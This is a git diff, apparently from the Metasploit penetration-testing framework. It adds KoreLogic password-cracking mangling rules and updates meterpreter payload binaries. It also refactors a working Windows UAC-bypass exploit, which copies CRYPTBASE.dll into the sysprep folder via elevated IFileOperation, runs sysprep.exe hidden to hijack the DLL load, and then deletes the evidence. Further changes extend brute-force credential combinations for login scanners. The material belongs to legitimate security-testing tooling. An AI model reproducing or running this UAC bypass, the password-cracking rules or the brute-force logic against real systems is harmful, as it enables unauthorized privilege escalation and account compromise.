/\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445588] s7[lL] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /8 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445577] s8[bB] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlL] \p1[:M] \p1[:c] \p1[:Q] +# These are some popular triple/quad l33t rules +-[:c] /a /e /[los] sa4 se3 s\0\p[10$] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /[ae] /l /[os] s\2\p2[43] sl1 s\3\p3[0$] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /[ae] /o /s s\2\p2[43] so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /l /o /s sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /a /[el] /o /s sa4 s\0\p[31] so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /e /l /o /s se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] +-[:c] /a /e /l /o /s sa4 se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q] + +;[List.Rules:KoreLogicRulesReplaceSpecial2Special] +# Kore's rules were missing "*" +/! s![@#$%^&*()\-=_+\\|;:'",./?><] +/@ s@[!#$%^&*()\-=_+\\|;:'",./?><] +/# s#[!@$%^&*()\-=_+\\|;:'",./?><] +/$ s$[!@#%^&*()\-=_+\\|;:'",./?><] +/% s%[!@#$^&*()\-=_+\\|;:'",./?><] +/^ s^[!@#$%&*()\-=_+\\|;:'",./?><] +/& s&[!@#$%^*()\-=_+\\|;:'",./?><] +/( s([!@#$%^&*)\-=_+\\|;:'",./?><] +/) s([!@#$%^&*(\-=_+\\|;:'",./?><] +# Kore's ruleset erroneously had: +#/-s-- +/- s-[!@#$%^&*()=_+\\|;:'",./?><] +/= s=[!@#$%^&*()\-_+\\|;:'",./?><] +/_ s_[!@#$%^&*()\-=+\\|;:'",./?><] +/+ s+[!@#$%^&*()\-=_\\|;:'",./?><] +# Kore's rules did not replace backslash +/\\ s\\[!@#$%^&*()\-=_+|;:'",./?><] +/| s|[!@#$%^&*()\-=_+\\;:'",./?><] +/; s;[!@#$%^&*()\-=_+\\|:'",./?><] +/: s:[!@#$%^&*()\-=_+\\|;'",./?><] +/' s'[!@#$%^&*()\-=_+\\|;:",./?><] +/" s"[!@#$%^&*()\-=_+\\|;:',./?><] +/, s,[!@#$%^&*()\-=_+\\|;:'"./?><] +/. s.[!@#$%^&*()\-=_+\\|;:'",/?><] +// s/[!@#$%^&*()\-=_+\\|;:'",.?><] +/> s>[!@#$%^&*()\-=_+\\|;:'",./?<] +/< s<[!@#$%^&*()\-=_+\\|;:'",./?>] + +;[List.Rules:KoreLogicRulesReplaceLetters] +/a sa[b-z] +/b sb[ac-z] +/c sc[abd-z] +/d sd[a-ce-z] +/e se[a-df-z] +/f sf[a-eg-z] +/g sg[a-fh-z] +/h sh[a-gi-z] +/i si[a-hj-z] +/j sj[a-ik-z] +/k sk[a-jl-z] +/l sl[a-km-z] +/m sm[a-ln-z] +/n sn[a-mo-z] +/o so[a-np-z] +/p sp[a-oq-z] +/q sq[a-pr-z] +/r sr[a-qs-z] +/s ss[a-rt-z] +/t st[a-su-z] +/u su[a-tv-z] +/v sv[a-uw-z] +/w sw[a-vx-z] +/x sx[a-wyz] +/y sy[a-xz] +# Kore's ruleset was truncated after "/zszr" +/z sz[a-y] +-c /[a-z] s\0[A-Z] + +;[List.Rules:KoreLogicRulesAppendSpecialNumberNumber] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesPrependNumNumAppendSpecial] +-[c:] \p[c:] A0"[0-9][0-9]" <* $[!$@#%.] +-[c:] \p[c:] A0"[0-9][0-9]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*] + +;[List.Rules:KoreLogicRulesPrependNumNumSpecial] +-[c:] \p[c:] A0"[0-9][0-9][!$@#%.]" +-[c:] \p[c:] A0q[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend2NumSpecial] +-[c:] \p[c:] Az"[0-9][0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependDaysWeek] +A0"[Mm][oO0][nN][dD][aA4@][yY]" +A0"[Tt][uU][eE3][sS$][dD][aA4@][yY]" +A0"[Ww][eE3][dD][nN][eE3][sS$][dD][aA4@][yY]" +A0"[Tt][hH][uU][rR][sS$][dD][aA4@][yY]" +A0"[Ff][rR][iI1!][dD][aA4@][yY]" +A0"[Ss][aA4@][tT+][uU][rR][dD][aA4@][yY]" +A0"[Ss][uU][nN][dD][aA4@][yY]" + +;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-3] +## Add Number Number Special +-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ +## Add Special Number Number +-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumber] +-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <* $[0-9] +-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <* $[0-9] + +;[List.Rules:KoreLogicRulesAppend4Num] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesPrependNumNumNumNum] +-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" + +;[List.Rules:KoreLogicRulesPrepend2NumbersAppend2Numbers] +-[c:] \p[c:] A0"[0-9][0-9]" <- Az"[0-9][0-9]" + +;[List.Rules:KoreLogicRulesPrependCAPCAPAppendSpecial] +A0"[A-Z][A-Z]" <* $[!$@#%.] +A0"[A-Z][A-Z]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*] + +;[List.Rules:KoreLogicRulesAppendSpecialLowerLower] +-[c:] \p[c:] AzQ[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][a-z][a-z]Q <+ + +# The last line of KoreLogicRulesAppendNumbers_and_Specials_Simple +;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-4] +# Add 100! ... 999! to the end +-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendSpecial3num] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesAppendSpecialNumberNumberNumber] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesAppend3NumSpecial] +-[c:] \p[c:] Az"[0-9][0-9][0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq[0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependNumNum_AppendNumSpecial] +-[c:] \p[c:] A0"[0-9][0-9]" Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendJustSpecials3Times] +-[c:] \p[c:] Az"[!$@#%.][!$@#%.][!$@#%.]" <+ +-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendCap-Num_or_Special-Twice] +-[c:] \p[c:] Az"[A-Z][0-9][0-9]" <+ +-[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q <+ +-[c:] \p[c:] Azq[A-Z][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ +-[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumber] +-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <- Az"[0-9][0-9]" +-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <- Az"[0-9][0-9]" + +;[List.Rules:KoreLogicRulesAppend5Num] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendSpecial4num] +-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9][0-9]" <+ +-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9][0-9]q <+ + +;[List.Rules:KoreLogicRulesPrepend4NumAppendSpecial] +-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- $[!$@#%.] +-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend4NumSpecial] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq[0-9][0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumberNumber] +-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" Az"[0-9][0-9][0-9]" <+ +-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q Az"[0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppend6Num] +-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9][0-9]" <+ \ No newline at end of file diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib deleted file mode 100644 index 7513cc3ae8..0000000000 Binary files a/data/meterpreter/common.lib and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index 1d9021abf4..86ffa07965 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll deleted file mode 100755 index 3a36b5bf81..0000000000 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll deleted file mode 100755 index b3d708ef96..0000000000 Binary files a/data/meterpreter/ext_server_sniffer.x86.dll and /dev/null differ diff --git a/data/meterpreter/metcli.exe b/data/meterpreter/metcli.exe deleted file mode 100755 index 332cca98c7..0000000000 Binary files a/data/meterpreter/metcli.exe and /dev/null differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index b11a5c5932..0fa89d022e 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll index 079b16ce11..1790c4659c 100755 Binary files a/data/post/bypassuac-x64.dll and b/data/post/bypassuac-x64.dll differ diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll index 6b42302e3d..76d7b87240 100755 Binary files a/data/post/bypassuac-x86.dll and b/data/post/bypassuac-x86.dll differ diff --git a/db/schema.rb b/db/schema.rb index 83e99da75a..597c560ef3 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20140922170030) do +ActiveRecord::Schema.define(:version => 20150106201450) do create_table "api_keys", :force => true do |t| t.text "token" diff --git a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj index 0695003480..e4b84d4ce1 100644 --- a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj +++ b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj @@ -93,7 +93,7 @@ Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) true EnableFastChecks MultiThreadedDebugDLL @@ -132,7 +132,7 @@ MaxSpeed OnlyExplicitInline true - WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions) MultiThreaded true @@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\" - + - + diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp old mode 100644 new mode 100755 index 4f0ba9b113..1f27187277 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp @@ -1,119 +1,158 @@ +#include "ReflectiveLoader.h" #include "Exploit.h" -void exploit() -{ +#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;} - const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\"; - const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\"; - const wchar_t *sySysPrepExe = L"sysprep.exe"; - const wchar_t *szElevDll = L"CRYPTBASE.dll"; - const wchar_t *szSourceDll = L"CRYPTBASE.dll"; - wchar_t szElevDir[MAX_PATH] = {}; - wchar_t szElevDir_syswow64[MAX_PATH] = {}; - wchar_t szElevDllFull[MAX_PATH] = {}; - wchar_t szElevDllFull_syswow64[MAX_PATH] = {}; - wchar_t szElevExeFull[MAX_PATH] = {}; - wchar_t path[MAX_PATH] = {}; - wchar_t windir[MAX_PATH] = {}; - const wchar_t *szElevArgs = L""; - const wchar_t *szEIFOMoniker = NULL; - PVOID OldValue = NULL; +extern "C" { - IFileOperation *pFileOp = NULL; - IShellItem *pSHISource = 0; - IShellItem *pSHIDestination = 0; - IShellItem *pSHIDelete = 0; + void exploit(BypassUacPaths const * const paths) + { + const wchar_t *szElevArgs = L""; + const wchar_t *szEIFOMoniker = NULL; - const IID *pIID_EIFO = &__uuidof(IFileOperation); - const IID *pIID_EIFOClass = &__uuidof(FileOperation); - const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); + PVOID OldValue = NULL; - GetWindowsDirectoryW(windir, MAX_PATH); - GetTempPathW(MAX_PATH, path); + IFileOperation *pFileOp = NULL; + IShellItem *pSHISource = 0; + IShellItem *pSHIDestination = 0; + IShellItem *pSHIDelete = 0; - /* %temp%\cryptbase.dll */ - wcscat_s(path, MAX_PATH, szSourceDll); - - /* %windir%\System32\sysprep\ */ - wcscat_s(szElevDir, MAX_PATH, windir); - wcscat_s(szElevDir, MAX_PATH, szSysPrepDir); + BOOL bComInitialised = FALSE; - /* %windir%\sysnative\sysprep\ */ - wcscat_s(szElevDir_syswow64, MAX_PATH, windir); - wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64); + const IID *pIID_EIFO = &__uuidof(IFileOperation); + const IID *pIID_EIFOClass = &__uuidof(FileOperation); + const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); - /* %windir\system32\sysprep\cryptbase.dll */ - wcscat_s(szElevDllFull, MAX_PATH, szElevDir); - wcscat_s(szElevDllFull, MAX_PATH, szElevDll); + dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir); + dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64); + dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll); + dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull); + dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull); + dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath); - /* %windir\sysnative\sysprep\cryptbase.dll */ - wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64); - wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll); - - /* %windir%\system32\sysprep\sysprep.exe */ - wcscat_s(szElevExeFull, MAX_PATH, szElevDir); - wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe); - - if (CoInitialize(NULL) == S_OK) - { - if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK) + do { - if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK) + if (CoInitialize(NULL) != S_OK) { - if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK) - { - if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK) - { - if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK) - { - /* Copy the DLL file to the sysprep folder*/ - if (pFileOp->PerformOperations() == S_OK) - { - /* Execute sysprep.exe */ - SHELLEXECUTEINFOW shinfo; - ZeroMemory(&shinfo, sizeof(shinfo)); - shinfo.cbSize = sizeof(shinfo); - shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; - shinfo.lpFile = szElevExeFull; - shinfo.lpParameters = szElevArgs; - shinfo.lpDirectory = szElevDir; - shinfo.nShow = SW_HIDE; - - Wow64DisableWow64FsRedirection(&OldValue); - if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) - { - WaitForSingleObject(shinfo.hProcess, 10000); - CloseHandle(shinfo.hProcess); - } - - if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) - { - if (0 != pSHIDelete) - { - if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) - { - pFileOp->PerformOperations(); - // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path - // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: - // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx - if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)) - { - if (0 != pSHIDelete) - { - if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) - { - pFileOp->PerformOperations(); - } - } - } - } - } - } - } - } - } - } + dprintf("[BYPASSUACINJ] Failed to initialize COM"); + break; } + + bComInitialised = TRUE; + + if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK) + { + dprintf("[BYPASSUACINJ] Couldn't create EIFO instance"); + break; + } + + if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK) + { + dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op."); + break; + } + + if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to create item from name (source)"); + break; + } + + if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to create item from name (destination)"); + break; + } + + if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll"); + break; + } + + /* Copy the DLL file to the target folder*/ + if (pFileOp->PerformOperations() != S_OK) + { + dprintf("[BYPASSUACINJ] Unable to copy elev dll"); + break; + } + + /* Execute the target binary */ + SHELLEXECUTEINFOW shinfo; + ZeroMemory(&shinfo, sizeof(shinfo)); + shinfo.cbSize = sizeof(shinfo); + shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; + shinfo.lpFile = paths->szElevExeFull; + shinfo.lpParameters = szElevArgs; + shinfo.lpDirectory = paths->szElevDir; + shinfo.nShow = SW_HIDE; + + Wow64DisableWow64FsRedirection(&OldValue); + if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) + { + WaitForSingleObject(shinfo.hProcess, 10000); + CloseHandle(shinfo.hProcess); + } + + if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) + || NULL == pSHIDelete) + { + dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)"); + break; + } + + if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) + { + dprintf("[BYPASSUACINJ] Failed to prepare op for delete"); + break; + } + + if (pFileOp->PerformOperations() == S_OK) + { + dprintf("[BYPASSUACINJ] Successfully deleted dll"); + + // bail out this point because we don't need to keep trying to delete + break; + } + + SAFERELEASE(pSHIDelete); + + // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path + // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: + // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx + if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) + || NULL == pSHIDelete) + { + dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)"); + break; + } + + if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) + { + dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)"); + break; + } + + if (pFileOp->PerformOperations() == S_OK) + { + dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process"); + } + else + { + dprintf("[BYPASSUACINJ] Failed to delete target DLL"); + } + + } while (0); + + SAFERELEASE(pSHIDelete); + SAFERELEASE(pSHIDestination); + SAFERELEASE(pSHISource); + SAFERELEASE(pFileOp); + + if (bComInitialised) + { + CoUninitialize(); } } -} + +} \ No newline at end of file diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h old mode 100644 new mode 100755 index cce02e5bff..6197bbb276 --- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.h +++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.h @@ -5,4 +5,32 @@ #include #include -EXTERN_C void exploit(); +// Uncomment this line to include debug output +//#define DEBUGTRACE + +#ifdef DEBUGTRACE +#define dprintf(...) real_dprintf(__VA_ARGS__) +static void real_dprintf(char *format, ...) +{ + va_list args; + char buffer[1024]; + va_start(args, format); + vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args); + strcat_s(buffer, sizeof(buffer), "\r\n"); + OutputDebugStringA(buffer); +} +#else +#define dprintf(...) +#endif + +typedef struct _BypassUacPaths +{ + wchar_t szElevDir[MAX_PATH]; + wchar_t szElevDirSysWow64[MAX_PATH]; + wchar_t szElevDll[MAX_PATH]; + wchar_t szElevDllFull[MAX_PATH]; + wchar_t szElevExeFull[MAX_PATH]; + wchar_t szDllTempPath[MAX_PATH]; +} BypassUacPaths; + +EXTERN_C void exploit(BypassUacPaths const * const paths); diff --git a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c old mode 100644 new mode 100755 index 83b0c9fddb..e9e97c5fb8 --- a/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c +++ b/external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c @@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance; BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { - BOOL bReturnValue = TRUE; - switch( dwReason ) - { - case DLL_QUERY_HMODULE: - if( lpReserved != NULL ) - *(HMODULE *)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - exploit(); - ExitProcess(0); - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + + if (NULL != lpReserved) + { + dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved); + exploit((BypassUacPaths*)lpReserved); + } + + ExitProcess(0); + break; + default: + break; + } + + return TRUE; + } diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb index abfb84504b..7c1b2f3298 100644 --- a/lib/metasploit/framework/credential_collection.rb +++ b/lib/metasploit/framework/credential_collection.rb @@ -2,6 +2,18 @@ require 'metasploit/framework/credential' class Metasploit::Framework::CredentialCollection + # @!attribute additional_privates + # Additional privates to be combined + # + # @return [Array] + attr_accessor :additional_privates + + # @!attribute additional_publics + # Additional public to be combined + # + # @return [Array] + attr_accessor :additional_publics + # @!attribute blank_passwords # Whether each username should be tried with a blank password # @return [Boolean] @@ -59,7 +71,27 @@ class Metasploit::Framework::CredentialCollection opts.each do |attribute, value| public_send("#{attribute}=", value) end - self.prepended_creds ||= [] + self.prepended_creds ||= [] + self.additional_privates ||= [] + self.additional_publics ||= [] + end + + # Adds a string as an addition private credential + # to be combined in the collection. + # + # @param [String] :private_str the string to use as a private + # @return [void] + def add_private(private_str='') + additional_privates << private_str + end + + # Adds a string as an addition public credential + # to be combined in the collection. + # + # @param [String] :public_str the string to use as a public + # @return [void] + def add_public(public_str='') + additional_publics << public_str end # Add {Credential credentials} that will be yielded by {#each} @@ -101,6 +133,9 @@ class Metasploit::Framework::CredentialCollection end pass_fd.seek(0) end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private)) + end end if user_file.present? @@ -123,6 +158,9 @@ class Metasploit::Framework::CredentialCollection end pass_fd.seek(0) end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private)) + end end end end @@ -141,6 +179,28 @@ class Metasploit::Framework::CredentialCollection end end + additional_publics.each do |add_public| + if password.present? + yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) ) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private)) + end + end + ensure pass_fd.close if pass_fd && !pass_fd.closed? end diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb index 511260ffea..16e7655a0b 100644 --- a/lib/metasploit/framework/login_scanner/base.rb +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -57,8 +57,8 @@ module Metasploit inclusion: { in: [true, false] } validates :bruteforce_speed, - presence: false, numericality: { + allow_nil: true, only_integer: true, greater_than_or_equal_to: 0, less_than_or_equal_to: 5 diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 14fd531152..8bacd5958e 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -151,10 +151,10 @@ module Exploit if e.kind_of?(Msf::OptionValidateError) dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) else - mod.print_error("Call stack:") + exploit.print_error("Call stack:") e.backtrace.each do |line| break if line 